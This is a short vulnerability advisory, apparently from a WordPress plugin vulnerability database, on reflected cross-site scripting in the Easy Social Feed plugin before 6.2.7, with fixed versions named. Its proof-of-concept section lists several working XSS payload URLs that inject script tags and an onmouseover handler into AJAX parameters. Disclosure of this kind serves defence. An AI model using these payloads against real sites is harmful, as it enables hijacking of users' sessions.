WordPress Plugin Vulnerabilities

Easy Social Feed < 6.2.7 - Reflected Cross-Site Scripting

Description

The plugins do not sanitise some of their parameters used via AJAX actions before outputting them back in the response, leading to Reflected Cross-Site Scripting issues

Proof of Concept

Pro version:
https://example.com/wp-admin/admin-ajax.php?action=efbl_load_feed_popup&pid="><script>alert(2)</script> (Fixed in 6.2.5)
https://example.com/wp-admin/admin-ajax.php?action=efbl_load_feed_popup&pid="><script>alert(/XSS/)</script>&link_target="><script>alert(/XSS2/)</script> (Fixed in 6.2.5)
https://example.com/wp-admin/admin-ajax.php?action=efbl_load_feed_popup&pid=1&link_target=%22onmouseover=alert(/XSS2/)// (Fixed in 6.2.7)

Free version (< 6.2.7):
https://example.com/wp-admin/admin-ajax.php?action=efbl_generate_popup_html&rand_id=%22%3E%3Cscript%3Ealert(/XSS/)%3C/script%3E (fixed in 6.2.7)